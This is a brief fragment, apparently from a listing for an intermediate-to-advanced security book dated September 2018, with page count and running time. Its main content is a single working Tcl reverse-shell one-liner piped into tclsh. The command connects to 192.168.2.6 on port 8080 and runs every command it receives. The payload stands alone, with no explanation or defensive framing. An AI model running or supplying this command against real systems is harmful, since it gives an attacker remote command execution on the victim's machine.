September 2018
Intermediate to advanced
480 pages
9h 45m
English
echo 'set s [socket 192.168.2.6 8080];while 100 { puts -nonewline $s "RevSh>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh